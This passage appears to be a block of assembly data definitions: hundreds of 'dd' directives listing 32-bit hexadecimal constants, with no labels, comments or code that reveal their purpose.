		dd 0CF171341h, 5BBCF057h, 0EC40245Eh, 5AE23B65h, 0B474008Ah
		dd 0EB6B61E4h, 0C6035F9Bh, 6801587Ch, 0F8199167h, 2F4A2422h
		dd 2ED510E8h, 8DA476C1h, 0F7A87029h, 2FE39098h,	0A0D93413h
		dd 0C7B1C072h, 0F50C21h, 62D1EF08h, 83B572CFh, 311AD72Dh
		dd 87E9F788h, 0CA072078h, 0A6A7F372h, 0C01211D9h, 14E73609h
		dd 0EFEEDBA0h, 25C29905h, 18809864h, 5B243FF4h,	388C8284h
		dd 873B005Ah, 0B32D9640h
		dd 782ED495h, 85000A23h, 684F6997h, 8597C5h, 978D050h
		dd 2C4E228Dh, 6C23BC3Bh, 0C52A3203h, 3F08E09Bh,	16D37EE6h
		dd 0C035815Ah, 0C8EBFBB4h, 3007034Bh, 0A93BFA3Bh, 67306D6Ch
		dd 0DC66047h, 0B4A7E10h, 0D610043Eh, 0B513C02Eh, 1668827Bh
		dd 0F0DF4FCh, 0FABE15BCh, 2F08585h, 51C4C3CBh, 0B200A3A5h
		dd 0D55530F2h, 85249B09h, 3F0091FAh, 1471803Ch,	0ECC2D3C1h
		dd 2E2D105Ch, 0C3C2B04Dh, 0F315E0DAh, 52A40ED1h, 0EF49D56Fh
		dd 0A2B8B4C0h, 0B72D94B4h, 0F4440038h, 82AEABA5h, 56C16900h
		dd 53B573A8h, 64255341h, 7EBC202Eh, 6A000746h, 72320FDDh
		dd 90589A7Eh, 0E4074FB8h, 0D01B7981h, 0E1D4A028h, 1C649053h
		dd 0AD83C71Fh, 2C436438h, 0BD0A6713h, 1CCE8C9Ah, 7CF212A9h
		dd 0F0C0BD00h, 102B0F21h, 0C761038Ah, 36C36684h, 81C093BBh
		dd 9B095BADh, 0F8F589C4h, 2D950050h, 0D9FE5C15h, 61C1FDC2h
		dd 0FBD87FF7h, 690B096h, 317AB994h, 0CBB0CA25h,	882DF3F4h
		dd 9739Bh, 0D9A1445Bh, 131A45E6h, 6C873D5Ah, 0FA6F2A71h
		dd 63B87839h, 0C1007A7Eh, 0B480B74Eh, 9EBBA591h, 0A465E24h
		dd 8419BA16h, 23202E24h, 87B31E24h, 0A351E040h,	0A1AF72C4h
		dd 3D9912DDh, 3AACDCh, 3116158Bh, 0B89911F9h, 82014C91h
		dd 64A8F18h, 48976020h,	9199044h, 2AA42146h, 1800586Bh
		dd 8FE4B3E5h, 0D616884Eh, 0C9A9A0Dh, 5AF2CBC0h,	1609CF12h
		dd 0D9A10291h, 22327874h, 0FA861286h, 0F1E8B249h, 590CCAEFh
		dd 5045AD09h, 0D0B02095h, 731646A2h, 8B6F4A76h,	0C736C8E8h
		dd 0D4A6707Bh, 9D02A546h, 102032ABh, 0B584478h,	0FB2649D9h
		dd 0CFB3842h, 1304D6D0h, 91ACC60h, 0A802091Ch, 0D4C45B85h
		dd 46566896h, 0A6270508h, 8287C670h, 9FBB87FEh,	4B232FEh
		dd 3321D4F7h, 0BA84E05Bh, 0CC985Ch, 2B5AE1A4h, 1D80F457h
		dd 9097A0B4h, 52B04CA6h, 13583921h, 263F00EBh, 9CD7784Ch
		dd 9589003Ah, 0E469456Eh, 20FCB892h, 979ADE17h,	6E7A50E1h
		dd 2C97022Ch, 40101446h, 0B1F049D4h, 1821F960h,	0A5D70117h
		dd 7D72F257h, 2DE83497h, 0CD25A8B4h, 0F8C564A4h, 1A00DCA8h
		dd 0FEA9A07h, 726C00AFh, 0EF63B425h, 9679D6B2h,	24FE3600h
		dd 58C230ACh, 182704A5h, 0E0214878h, 2009FD88h,	0D8716846h
		dd 9CC85328h, 0CCB46A1h, 0A12C00DCh, 0E6B97EC6h, 0C3004FBFh
		dd 511ADFCEh, 3099DE13h, 7130C07Bh, 0FB4F250Bh,	8158D404h
		dd 5BC3A8B0h, 0B27424C1h, 2B68B1A4h, 9C001E0Ch,	0E19F73E7h
		dd 5FA5DC2h, 8D0F7475h,	78A8CD81h, 43DFAC30h, 259C022Eh
		dd 5B906557h, 161A584Ch, 47EE4B05h, 98F9B7AFh, 0E6C06700h
		dd 73C5190Dh, 0D66E6A00h, 8CDA58Dh, 0E712013Eh,	15553309h
		dd 3AB4655Eh, 68B69452h, 0F35941E0h, 8B3CD700h,	0F63615B3h
		dd 5E30F271h, 0D08457F0h, 0D4EB7328h, 0B08D1D40h, 0FC672D28h
		dd 0E8825485h, 8C0BBC34h, 2D1F6A02h, 0D301A50Ah, 3FB51274h
		dd 30723B0h, 9DE836BFh,	4665EDD8h, 27D0279Dh, 584050DBh
		dd 0EC10943Fh, 9A311221h, 5B1240A2h, 37444970h,	8C0570F2h
		dd 0E91347A5h, 0C3294A1h, 0FE3029F2h, 32FA0775h, 41F26E25h
		dd 7AC94BC0h, 0BF9D8000h, 95BC7345h, 23114897h,	0EF0F9480h
		dd 0D103B9FAh, 89B344EEh, 94A5F512h, 2C90DCh, 0EBBA35Ah
		dd 9565746Ch, 0F5A68400h, 921D18EEh, 60F37970h,	5788F816h
		dd 0A894FC8Dh, 51C3EC1Eh, 9BFDA26h, 0EA382ED1h,	0F3BB7820h
		dd 500F2DEh, 0D42A5D96h, 1DB6093Fh, 0CB147DD8h,	0A0E85965h
		dd 0BA4E7388h, 907F906Eh, 0D6901299h, 823CF3CCh, 1221F944h
		dd 8360A4CDh, 6AEB9Eh, 3FE7C0D5h, 0FB435A25h, 9FB794E4h
		dd 823011C4h, 0CCAE3155h, 73A016F8h, 0D5D86001h, 6E1E0AA2h
		dd 0EB459B32h, 0B041EE3Ch, 6867070Bh, 0F63E7FE0h, 7ABF00A6h
		dd 4AE9547h, 221FBC1Fh,	0CC630C6h, 97601B9Dh, 42ED2404h
		dd 74A15857h, 0B5A50148h, 2D1AFD43h, 0CAD710F8h, 30369C84h
		dd 2FCC8229h, 0BC169E73h, 82913E00h, 0E4C3656Bh, 0AD400037h
		dd 0B279A825h, 5F732133h, 298A2E09h, 0F12080CEh, 629DDF0Ah
		dd 4365412Fh, 0FD16C87Ah, 0A0905D80h, 83C8C75Bh, 0BC8C69D3h
		dd 0C3C01694h, 82B0DCA7h, 723B32DAh, 9C318070h,	56D753E2h
		dd 92B0E55h, 37608B34h,	85A760C1h, 2F57A307h, 47FE4135h
		dd 2CC3AAE3h, 22F0BFDAh, 0FADCC227h, 65863E97h,	0D3F61061h
		dd 0E0A03073h, 0D9ABD40Ch, 60FE08DFh, 0DC16202Bh, 9D0FFF73h
		dd 20227F8Ch, 62676A0h,	0E76E3FC6h, 276DAE86h, 0FBFE781Ah
		dd 0A6CB9F01h, 0BE912C56h, 0E633DC43h, 24C72C10h, 12B1000Bh
		dd 0EAB42004h, 0E1300274h, 0FCF020BFh, 35900097h, 0A2547DE2h
		dd 1E605059h, 4B145688h, 313A1E4Ch, 0CBD8404Dh,	9483AD21h
		dd 2A0D2C00h, 4F1ED4F5h, 0C131C010h, 436A0A24h,	8EE6D100h
		dd 0B83D7762h, 557631h,	3616CA87h, 3F5D9CC3h, 352EF605h
		dd 0AA835814h, 279000AEh, 8D6ECDE2h, 0FF0EDC33h, 6243F34h
		dd 21BA35h, 596EB5EBh, 95A1655Ch, 0A0576917h, 0BA245000h
		dd 604EFD28h, 880C912Fh, 9801B96Dh, 0A162CAACh,	14D1CBF4h
		dd 9FE32180h, 0D65A5E6Dh, 0CC7AF500h, 0FE835CF9h, 28A82433h
		dd 636100AFh, 2FABA9C1h, 0BA535B77h, 2C0CA1E8h,	6000880Ch
		dd 69FB5098h, 609211A1h, 9EF02059h, 0D1009B64h,	52F5D8C1h
		dd 0DD7509h, 5B410589h,	34063B57h, 0E1A3A81Dh, 0BBCFDE00h
		dd 5658091Eh, 0CB029CD3h, 6C33876Eh, 449C9888h,	0B3ED40C3h
		dd 1DFB2A6Eh, 0C09CCC5Dh, 0B7911081h, 34008528h, 6DA6CD51h
		dd 0C02F6003h, 0D7201740h, 0F1003276h, 0BD612B96h, 90580897h
		dd 0D53207Ch, 9CEA290Ah, 840E8B5h, 275B347Dh, 95704B7Fh
		dd 9ADC660Fh, 0A0CAA091h, 0D1A6CEh, 0FB2D0C88h,	0C17E31F5h
		dd 28B0D700h, 0CCECE0A9h, 15DEB0C9h, 0B4A62BCEh, 573D680h
		dd 1E87C871h, 0A4730017h, 565CC466h, 1207E10Ah,	41A880B4h
		dd 93A6DD39h, 0C500CBC0h, 0BE0994EBh, 3C261857h, 0EE629B3h
		dd 0FC817B03h, 0E82466D6h, 7BB876BAh, 0CAAD240Fh, 0D13429F0h
		dd 68F1810h, 31A56A1Bh,	0D8A91921h, 1D0218A7h, 3AB1D797h
		dd 0FAF6C0C2h, 3D9F97h,	45476485h, 0E16D6F04h, 72C8CC61h
		dd 500662EBh, 0C0B61B18h, 984829D9h, 5AE93F20h,	0E5916783h
		dd 28642893h, 8E60FBD0h, 9823CB6Dh, 290908BCh, 6DA5E500h
		dd 1815EAAh, 5D604470h,	20DD0C0Fh, 4A01D99Ch, 187CCBAEh
		dd 8186A77Fh, 61137195h, 0D1DA3930h, 75A6CF77h,	542E0075h
		dd 0BAEB442Dh, 6E07617Ch, 0C381F438h, 0BE924090h, 294ACB0h
		dd 0B1CEA525h, 0E019041Ah, 97FDF510h, 0E0203EEh, 32D7317Dh
		dd 0FB8CA10Dh, 2989E5A2h, 0C42E8F3Ch, 5B40F00h,	630024E6h
		dd 2DAF2E51h, 38A87ACFh, 2B932947h, 9DF049E9h, 18D660B9h
		dd 8E6E08C8h, 0BBC4D433h, 6EB0E840h, 0EC9888E2h, 9512601h
		dd 0C676DA7h, 57D4A821h, 48BA12A8h, 4BB40424h, 803F0F63h
		dd 0F4441767h, 0ABE90262h, 54C0B4AAh, 18A59441h, 247308CDh
		dd 0FFC2B06Fh, 8120042Bh, 0E0F1A7A4h, 41759F40h, 940DFA28h
		dd 1D20A948h, 7C5221Ch,	9440D739h, 0E34EC865h, 0C4EA09h
		dd 379AAF35h, 8FC6505Dh, 87482090h, 8370803Ch, 149BF590h
		dd 0C33D7A2h, 0C9957104h, 585483BFh, 31026BC9h,	99A8206Ch
		dd 73C9048Ch, 63D071F8h, 24C100F0h, 0BA7473D2h,	5C13D1A9h
		dd 340021A3h, 0CF4272FBh
		dd 0BC9151h, 79F0BB71h,	0BDE8A729h, 6F909800h, 68278753h
		dd 60621295h, 34DC00FBh, 56CF1CEh, 26569100h, 1F37382Ah
		dd 0E250A536h, 801B2C0Dh, 0CAB252h, 63B48F5Eh, 5D997D45h
		dd 334CF4A4h, 5BC6C128h, 0AB71E998h, 575E7050h,	0FC0D4DC7h
		dd 0B3C81849h, 0CBA51EC0h, 842248B1h, 97F6F2E0h, 0DAED0903h
		dd 24D4F12Dh, 18206370h, 756FB156h, 0F88E4D31h,	9FF87FDEh
		dd 38BE5378h, 5B30CEA2h, 877E00BBh, 690F9416h, 5476A9C6h
		dd 1808C860h, 90746D6h,	0D4CC9D7Bh, 0B468080Ch,	97F9028Ch
		dd 2FAB1CAh, 0E910DF19h, 360197D1h, 5811D57h, 0D180AA12h
		dd 3DA679E8h, 0D426D9FEh, 0D44A4080h, 0BE80DC11h, 2433A06Eh
		dd 2C098B1h, 90B26EA6h,	6CEA0F56h, 5BE13B82h, 30415980h
		dd 58CA948h, 0B1C997F8h, 0F45828F2h, 9C97D00Eh,	0D5576053h
		dd 4CB28196h, 84569CD1h, 0C801A423h, 0D8710373h, 19B01428h
		dd 9D0573D1h, 0D012FB3Eh, 0C115E405h, 56DAA800h, 529635Fh
		dd 0A45A734Bh, 0C8B4CB08h, 2F00C9BBh, 0C3E1A509h, 0BAB458CBh
		dd 0C43C4584h, 2AE860F0h, 57B10C58h, 0F1F80CE3h, 0E22DA416h
		dd 0A1B96030h, 993A0521h, 0CB041385h, 0E8084C48h, 0D7068CDFh
		dd 331EA025h, 42ECA740h, 11182BFFh, 779800E0h, 0C8191ECEh
		dd 4003D71Fh, 0CA0600Eh, 0A57B9042h, 0D0E069ADh, 0CE11F09Dh
		dd 401CD594h, 0D1DA80D5h, 0AC581ABDh, 7B88CCABh, 0E490D0CDh
		dd 32C1C98h, 120344E6h,	0A896D1A8h, 30041B46h, 16B9FC89h
		dd 0ED005697h, 65A4DF8h, 0F8BF747Ch, 98D30ACCh,	80806393h
		dd 0EB3D3128h, 92529C4Fh, 30E5B25Ch, 0ED90D4BDh, 0AEED7509h
		dd 46A49657h, 73CC1FA0h, 1CB86F89h, 0D5250E70h,	82BC4273h
		dd 9D7DB369h, 97ACB2h, 799EE211h, 144DE93h, 212EC4B8h
		dd 8CB41027h, 0BCF9125Eh, 19B486A9h, 9FC2704h, 54D5418Dh
		dd 152B9804h, 0A488DCD5h, 5AC08AC7h, 2E2EE036h,	51638858h
		dd 55690027h, 8C5B3CD2h, 0E203083Fh, 9EB38238h,	39211725h
		dd 5AD84032h, 2E4C6266h, 377A1704h, 3CD42221h, 0C8C8C88Bh
		dd 10DA17C0h, 5D7300A1h, 20A585B7h, 0A9308B34h,	712FC8CEh
		dd 0C03BEE93h, 7A0C388h, 6E0F7614h, 40E06917h, 75656B5Bh
		dd 84A7501Dh, 0A920B13Eh, 0E48338A4h, 4269F14Ah, 38F2B8B8h
		dd 0AEF270Ch, 0C0760828h, 863A4721h, 6F0099C2h,	52986556h
		dd 4091C04Bh, 40089E7h,	711E2DEEh, 1D85CEEFh, 11CF0769h
		dd 0F62700FBh, 0A29C1F2Dh, 726C18C8h, 8CE41844h, 0B24FD700h
		dd 85EE9334h, 88F93A40h, 1033BD80h, 2AEB45FAh, 0FFC47501h
		dd 444E751h, 6BBDAF8h, 0C3F337C2h, 4A7C48F2h, 45CC5B18h
		dd 1C257359h, 463A99AEh, 194B647Ah, 21B8EC0Fh, 876F8634h
		dd 0A62306E1h, 0D8FB5466h, 0EA02BC46h, 0CF712A2Dh, 51810131h
		dd 522DF22Bh, 78F4436Ch, 85B33ACBh, 9DF05906h, 1FD0D17Ch
		dd 300FF2E0h, 46CC3A08h, 0B82A91C0h, 6C041C8h, 0C7E865A6h
		dd 313308AEh, 0E80720F3h, 3D60D1C8h, 0BB181A25h, 0D468F1ECh
		dd 0EE38D90Ah, 4F0E9083h, 6A44C0A0h, 0C31DADBCh, 0EB8B6718h
		dd 0AF57814h, 0C23FCEF8h, 3140F2B5h, 3748115Eh,	494E2C80h
		dd 28AD8E11h, 5ADA3900h, 9934E574h, 92FB3D09h, 0F2E114F8h
		dd 94806836h, 86C045C6h, 32226743h, 0C8BC0300h,	7730B282h
		dd 5BBF0AEDh, 0AF4EF5Ch, 38246F6Ch, 0C89B6594h,	378B8703h
		dd 0F900ED63h, 0EEA720D1h, 39081F67h, 8667247h,	0B00021F9h
		dd 57FA738h, 252131Ch, 0B4E38B88h, 20436F27h, 1345023h
		dd 67F3A721h, 88F81847h, 0A70139B1h, 7D03662Eh,	8A40B716h
		dd 2A3253BCh, 46B0457Bh, 8463BF4h, 0C458F094h, 3E434075h
		dd 0C9F01586h, 1003CE12h, 9D983D49h, 11C0CB64h,	4612746Bh
		dd 297BEBh, 0B40AB161h,	47ACCDF8h, 8307E80Ch, 0C09150F1h
		dd 0C8458959h, 0C160CE23h, 0A86D8A98h, 0C750C7FFh, 0F0C0433h
		dd 6C30D8B9h, 0EF81326Eh, 0E497E0E8h, 49873191h, 4E7FE1A7h
		dd 0E6D8478Dh, 4A2451C7h, 8008E815h, 386032F5h,	3AC8B630h
		dd 6521C03Fh, 50B2B91h,	9487C8BEh, 0D7DB000Dh, 0A202E92Ch
		dd 41EC6837h, 0F3704026h, 71EB61C5h, 60D6088Bh,	0C7260A70h
		dd 3D810C4Bh, 8C6D7A36h, 6FEA1183h, 3E7179Ah, 71FECC46h
		dd 0A27D3700h, 7535E2FBh, 0A09701BFh, 62ADBDA9h, 50C7E4F7h
		dd 0C411CB0Eh, 2400B253h, 8C672AB8h, 0BCA24858h, 2168A840h
		dd 3411F2FCh, 43C69280h, 448C96C0h, 0BA0F0130h,	0C0A99EC8h
		dd 6A3C64F1h, 348E4D90h, 9BC28450h, 2DF0014Ch, 18FF7120h
		dd 2921CEF8h, 0E0742DA0h, 0AC607C18h, 6F23EBECh, 604FC52h
		dd 83EC72A2h, 0E89131E9h, 864B01D0h, 861DD200h,	60C7F03Eh
		dd 0CA4A80C2h, 3A50DF98h, 552E69D0h, 0E714E368h, 64E4883Ch
		dd 2DED60BBh, 0D771231Dh, 2E21FD18h, 172D01F5h,	0CC33BFE8h
		dd 297420F9h, 0A43BD12Ah, 0FEAEC900h, 0D76ACDB6h, 1DC60071h
		dd 41788060h, 0E80654BCh, 2EB1DC83h, 0D0F891A0h, 864AFFh
		dd 25870F61h, 0FEFC10C3h, 9C20F498h, 0CDC70DCCh, 0FC30E67Ch
		dd 0C9BF3E4h, 9384451Dh, 616250F0h, 863D4620h, 68FF0008h
		dd 7023BD96h, 8099886Eh, 6518FB79h, 6F124302h, 40799394h
		dd 3DC61B58h, 13039E8h,	94192971h, 3421F360h, 98F640B7h
		dd 219890ECh, 3E11784Bh, 72A71B87h, 0FA311767h,	0A733AB10h
		dd 0B32AD800h, 2528E531h, 5C851369h, 2BC04ACh, 29B5008Ah
		dd 58F65B0Dh, 9D02678Ch, 2C133048h, 0ABCB881h, 0BFA9807Ah
		dd 3722DC20h, 747D52h, 0F8F78435h, 0B2C53F5h, 42299FEFh
		dd 8C3FA1C1h, 0C030ED46h, 22618E8h, 0DD8921F3h,	868E6016h
		dd 25FDA021h, 914B9400h, 5005E2EAh, 0E154A58Fh,	2DC8D48Bh
		dd 0B0ED40C0h, 0DE240004h, 9471881Dh, 0A4A083EFh, 7893180Dh
		dd 3A6FA07Bh, 0BCA35D5Dh, 2906E9BCh, 0EEC10DDCh, 0EB6F4C19h
		dd 4111F40Ah, 63A90F80h, 5D6923C0h, 0E171502Bh,	75F0197Bh
		dd 40DE1403h, 23A1C5CDh, 0EC01BE80h, 0DF711C2Dh, 9C9F9823h
		dd 1D7C80F4h, 15F97E48h, 70C7AC02h, 4E2DC9Dh, 0ED6CC2B5h
		dd 0BEB14B20h, 0EB351215h, 22002007h, 0CB00C026h, 109E5ADCh
		dd 95CD77h, 9C819B1h, 0EED2BD8Dh, 841D8F3Eh, 0E7883C0h
		dd 9D7C78C0h, 40CA58D0h, 0BBC03988h, 46C03CC8h,	3322AEh
		dd 15C8C30Ah, 7566924Dh, 48ED5830h, 28F6EFE7h, 0A09C3659h
		dd 876A5794h, 2C60FBC4h, 409015B4h, 0A9F6CA13h,	0DBCE9C44h
		dd 303BFC82h, 0EA11A71Ch, 0FC88FF67h, 0A700AFA8h, 0D9646D8Eh
		dd 0EEE9F67h, 7A900FDAh, 0CC2360EBh, 3100E75Fh,	0F9DA04FDh
		dd 2C91223h, 9E6D028Dh,	90E58873h, 4E60FAE4h, 2AE08B78h
		dd 1064815Ch, 9025E7D4h, 4EC65810h, 571CC803h, 940A87FEh
		dd 284888Eh, 58EF304Bh,	19DF01C4h, 828D3D6Eh, 33D820CAh
		dd 0C6953B8Ch, 679EC088h, 0BD0458h, 56ACE6C8h, 0DDCC37B0h
		dd 800F652Ah, 1F023A46h, 3767F1A7h, 0AF7CE49Ch,	2D14A702h
		dd 0E5E13C48h, 6031E474h, 3B98530Ch, 22B94E9Eh,	6B3ABC85h
		dd 91D0917Ah, 0C49050FAh, 5E0024EAh, 63D9F8BEh,	50BF619h
		dd 10FE659Eh, 84FB1C17h, 842DC5D4h, 5B800224h, 94C1E98Ch
		dd 494CCBC2h, 6B67100Ch, 0E4C87000h, 6E7A380Dh,	0C860745Ch
		dd 0C8B9C037h, 0BE52C042h, 342264h, 0DC8C108h, 0A623FDDDh
		dd 2585200Eh, 0D4652170h, 90AC1EB1h, 5D4308A0h,	24C81B0Bh
		dd 0F4EF648h, 0C798EC9Ch
		dd 0F0916143h, 88741860h, 86073B44h, 0D979B9BBh, 588DF382h
		dd 0AC710488h, 2E75C87h, 818EDF4h, 907B05C4h, 508800F1h
		dd 4C5BBEA7h, 3E10F761h, 0D0B94318h, 0F0AAC415h, 71770A18h
		dd 0D9009925h, 0C9DF9433h, 0CA58FDh, 0C5158B3Fh, 6C0CB7ACh
		dd 90887A0Bh, 1DDCAB1Ah, 4B213830h, 7C1BDD80h, 156DC964h
		dd 0D844A4CAh, 681E6620h, 9F1507CBh, 6FAC50A4h,	40FC7351h
		dd 0AB83F042h, 52B3C418h, 24325A20h, 116CECEBh,	0A7228039h
		dd 8C2F67F0h, 48B2FE44h, 0DD12FC3Ah, 154C0029h,	0A3B46F2Bh
		dd 1A584C61h, 1DF04928h, 3AA400EEh, 8C699B32h, 20C65397h
		dd 18487241h, 0E1370704h, 189239CCh, 73316A05h,	48C72450h
		dd 37EF1250h, 87AB0143h, 1BCCED19h, 9CA0EA93h, 4C56E7FBh
		dd 901A7B00h, 0DB9BF67h, 0F4DB58EEh, 646D8A13h,	88DCCBF4h
		dd 0A5A8C030h, 8016A08Ch, 1C29CCB8h, 30E22C22h,	8F6030h
		dd 41D193B4h, 907D8A84h, 0DD285BEDh, 5F665E80h,	0C4C33CCFh
		dd 1FF6CF0h, 0D1C33BFh,	90F97860h, 0F2012E04h, 8C674078h
		dd 0E74B4F13h, 5915504Ch, 0DC5B18BFh, 0B1923804h, 343B494Bh
		dd 68008C77h, 4B408065h, 483604F0h, 0BF10F435h,	0C3E3406Dh
		dd 465E149Eh, 1A007D2Bh, 7B56FB34h, 5C8ABE82h, 91105CACh
		dd 524E003Bh, 39E48729h, 0EA25356Ch, 0A0308198h, 0F21D00DFh
		dd 0B06D18EFh, 53BB10C7h, 0F8906276h, 0CC9DF00Bh, 374490E7h
		dd 92F90134h, 0B917F328h, 0BA088121h, 94596F23h, 2EFB3CE0h
		dd 88349B65h, 25061088h, 2CB914E3h, 5E20874Ah, 0A13BFA46h
		dd 99E55700h, 6EA625A0h, 7129E074h, 0E0292C24h,	2618FC71h
		dd 0C523D100h, 767A2EBEh, 3951C541h, 180A36Eh, 0E9AC9F06h
		dd 683CF25Dh, 168C76BCh, 97D1A2BAh, 0D02D97ECh,	0D46613E7h
		dd 0A42F2125h, 3767BFB8h, 0F771F22Dh, 2A606051h, 14F2DF9h
		dd 568B8276h, 42E1389Dh, 54645FD8h, 6A47D800h, 6903061h
		dd 46D5001Dh, 0F70C4CA2h, 5702DD0Fh, 8E634EB2h,	993450FAh
		dd 1836F170h, 12749877h, 876799h, 15D5A526h, 8A04EF26h
		dd 480D0601h, 1B16CE3h,	73250C4Bh, 0F6A0AC4h, 3B7060E2h
		dd 0F18FAF01h, 0D430845Ah, 9A0047A4h, 0B26FFE50h, 499075h
		dd 0D50207C7h, 5F33BCDEh, 1D46352Dh, 9C7311FCh,	54CF9106h
		dd 0A5CC9970h, 5F916495h, 0BAABA780h, 55782B2Ah, 114909F8h
		dd 17A6B82Ch, 1BE3BCDh,	6DBDF4A0h, 6C2180C3h, 7BF00B9Eh
		dd 61C07CACh, 670819DBh, 48647493h, 0A456940Bh,	11801D86h
		dd 45F789FDh, 60F9E4C4h, 79D3AD38h, 680A5042h, 0D16007Bh
		dd 2BEE6A23h, 7A001E8Eh, 5A290CE6h, 272BFDBh, 0DEE03AB8h
		dd 0E0E92831h, 0EF90FC1Eh, 1FDC545Dh, 0A9521B59h, 36C8348Bh
		dd 388A43C0h, 28A813EFh, 0C2002406h, 32037CCh, 6359E0h
		dd 6DA20F26h, 5017119h,	4195FA00h, 0C10CDE4Dh, 0EA5F37F4h
		dd 0C38490F1h, 5E1CF12Ch, 0CA4191EBh, 54E5DBE0h, 4A72863h
		dd 986F334Bh, 2E01E49h,	2C2F5B1h, 2CDABFF3h, 6DEC1904h
		dd 0F707CB38h, 491532DFh, 0F5437CE0h, 95423102h, 0C01CEAFFh
		dd 0B492C01Eh, 8F9C8Ch,	9939CE7Ah, 131C4C4Eh, 0A5E409C2h
		dd 0EF460300h, 0B1AD2848h, 47710400h, 0C0809BCDh, 8DAEB341h
		dd 24EB09E1h, 7CE00360h, 0D500B8FFh, 0A2B0D4Dh,	908D7D4h
		dd 0FE5CD87h, 60E1BC4Dh, 0B020262Dh, 387B2DBFh,	6DEEF480h
		dd 85750B6Ah, 60713928h, 52A36C1Fh, 65EDCB8Bh, 602DE454h
		dd 60F061F9h, 6F57E66Ch, 8C01FB74h, 949CB2BDh, 44DAF33Bh
		dd 37C10110h, 5B01E844h, 1182F442h, 0D648BEh, 7B4FCA17h
		dd 11B6A839h, 71249902h, 7269FFB4h, 0E8C4F0C0h,	4708A270h
		dd 4AFC42C4h, 6534218h,	0CCE81C65h, 0B000F93Fh,	0B5DE744Eh
		dd 927F794h, 0B9667897h, 40A7D498h, 0E55D731Ch,	15141C80h
		dd 0FA4AFFAh, 0F67B6855h, 0C0AC1BA4h, 807D8A48h, 4C3BE64Fh
		dd 53002D23h, 0CA05669Dh, 0E21D0068h, 0F4A9AC75h, 8B7344EEh
		dd 3D044AF2h, 0C9346D8Ah, 2FB23CA3h, 2680F30h, 8EAF2438h
		dd 1864F101h, 0F0DED12Ah, 0C090624Ah, 49D50AB6h, 0BF053860h
		dd 0C7F4246Bh, 0A4A5C4B4h, 0E95D7AA8h, 66D1D40h, 4E8200A0h
		dd 38B444C8h, 0AC4A53BEh, 8CB6812h, 0A0C05EC8h,	0BC91756h
		dd 0B2D314DFh, 1C3B06DCh, 0C8465E6Ah, 0C8798B0Dh, 51C9F860h
		dd 6062C484h, 1F237491h, 87CAE570h, 5507016Dh, 0DCFC9E4Bh
		dd 0F8960580h, 0E060BD62h, 0BAC8808Ah, 694CF4EEh, 74013B9h
		dd 9F249400h, 28EEB3Fh,	0B4112975h, 0E47060ABh,	66A7BC17h
		dd 6F39B081h, 46E0C6CAh, 0D83C2EFAh, 0C528F20Bh, 34498044h
		dd 595FF586h, 0F0530202h, 0E8E510A5h, 948B96BCh, 0F7467674h
		dd 32D54F00h, 4B0725EBh, 1409FCA0h, 6B82C909h, 22CC42C6h
		dd 7A92F180h, 306E27Ch,	98FF7DEh, 6CE0D701h, 0FB000FC4h
		dd 850A0C3h, 9E5A0766h,	75467C24h, 0A37A6D01h, 4D04294Dh
		dd 0A81B9A4h, 0B459C393h, 0B5DC8B3Eh, 2670E024h, 0E37C17F2h
		dd 3D14084Ah, 0ECA71EC0h, 800F4367h, 63A736AEh,	94250191h
		dd 0BFEF8C7Fh, 0F20062E1h, 0F9CD3030h, 0F6BCDC1Fh, 0BE84285Eh
		dd 80BB464Eh, 0F3872DF5h, 0DC9BC62Ah, 6790913Ch, 5320BED9h
		dd 0E7A463h, 0AAA50F12h, 0B23B85B8h, 726CD712h,	4817A8E4h
		dd 0CC504284h, 0EB10BE2Ah, 3D40544Dh, 0D9B9359h, 11F85C20h
		dd 3AD1F058h, 9F09D9C0h, 0CF316Dh, 4AFF5BA3h, 552E383Ch
		dd 43712F0Bh, 733800BBh, 90F9C335h, 0E23C0124h,	0CC6BC05Bh
		dd 92508614h, 0B6C04737h, 2215E5Ch, 7993824Bh, 0EDC11751h
		dd 6925DC08h, 0A73C7E09h, 5AA468D1h, 0EDC207A6h, 102ACBD5h
		dd 9428132Bh, 0EC6A4B05h, 0E8B31B49h, 0FDE29852h, 0B40B1830h
		dd 50DF8040h, 76529DAAh, 0B7118300h, 3359BFDDh,	22B40073h
		dd 0DE49AD4Fh, 185E6DF2h, 0EEC5807h, 90A9CC64h,	49CCA06h
		dd 0DE0F5CCFh, 0E496139Ah, 9CD0D2C6h, 9A485BBEh, 0F31B02C0h
		dd 6D703A94h, 0E8D3D242h, 0A0ED041Fh, 1C8A3428h, 43601365h
		dd 70180495h, 2DBD00C6h, 8747CCC8h, 78E08048h, 4ADB251Bh
		dd 23C42F69h, 782900F7h, 0E116C78Ah, 0F8C8594Ah, 0F47174h
		dd 3ACB0D7Eh, 0E9CA71F9h, 0BA12BC00h, 0BF103019h, 9E00B9CEh
		dd 17007A4Ah, 45A6EC06h, 0BC0096D0h, 95323AD3h,	992ED46h
		dd 0E4408588h, 0E41094A9h, 3B3930E1h, 8ED3BA27h, 0E096A3F8h
		dd 6DC74404h, 0B6B10088h, 611CC849h, 0A213A96Ch, 98CBBC4Eh
		dd 71C030C8h, 58C6327Ch, 68492559h, 76187D3Ah, 70392943h
		dd 29F1D1C0h, 1EC0FB49h, 450771Bh, 852361D3h, 0F234F258h
		dd 702530FFh, 0E234CD13h, 23436E1Eh, 0E5797569h, 0FEB294F6h
		dd 12A93930h, 0F0F0A568h, 0F2489A98h, 0CD6C1074h, 7AA26404h
		dd 0BF4E96Fh, 17119F66h, 8062917Ch, 74DA5B84h, 0FC984C24h
		dd 174CF310h, 2490BC6Ah, 2D01E820h, 9C000709h, 8AD3AC71h
		dd 0BD8B28C0h, 5101F3F0h, 0F062E4D4h, 0C53034F2h, 0D4424CBAh
		dd 8F68EEC0h, 3A90B3E8h, 0F4008171h, 0C0157E0h,	0C0F192FBh
		dd 39C59F29h, 0B1091E32h, 1AE784F3h, 11BC1DD8h,	312880F5h
		dd 24DF1CDh, 64B05140h,	98A27107h, 19C0A6FCh, 0FD0260B5h
		dd 3A6A24DAh, 4F807666h, 12D40CE4h, 750A041Eh, 80AFE060h
		dd 0EBB47100h, 829CA869h, 0C06076CAh, 4161A081h, 0D053C9Dh
		dd 50D542A6h, 0E4DAA817h, 0BA5334C3h, 0F5BC9010h, 7A3B1D03h
		dd 28DE096Ch, 70342516h
		dd 948D7017h, 0FEBCE06Ch, 513C4A43h, 0C86D7609h, 995AB800h
		dd 116701Fh, 4853EF04h,	0FCC884CBh, 608987C9h, 0C5F3D581h
		dd 0BF31B02Dh, 2E7F8D8h, 0C124E1ECh, 0FC349461h, 0E28E8A4Ch
		dd 8C115138h, 0F4002595h, 94089CF3h, 0B812760Bh, 73C8908Bh
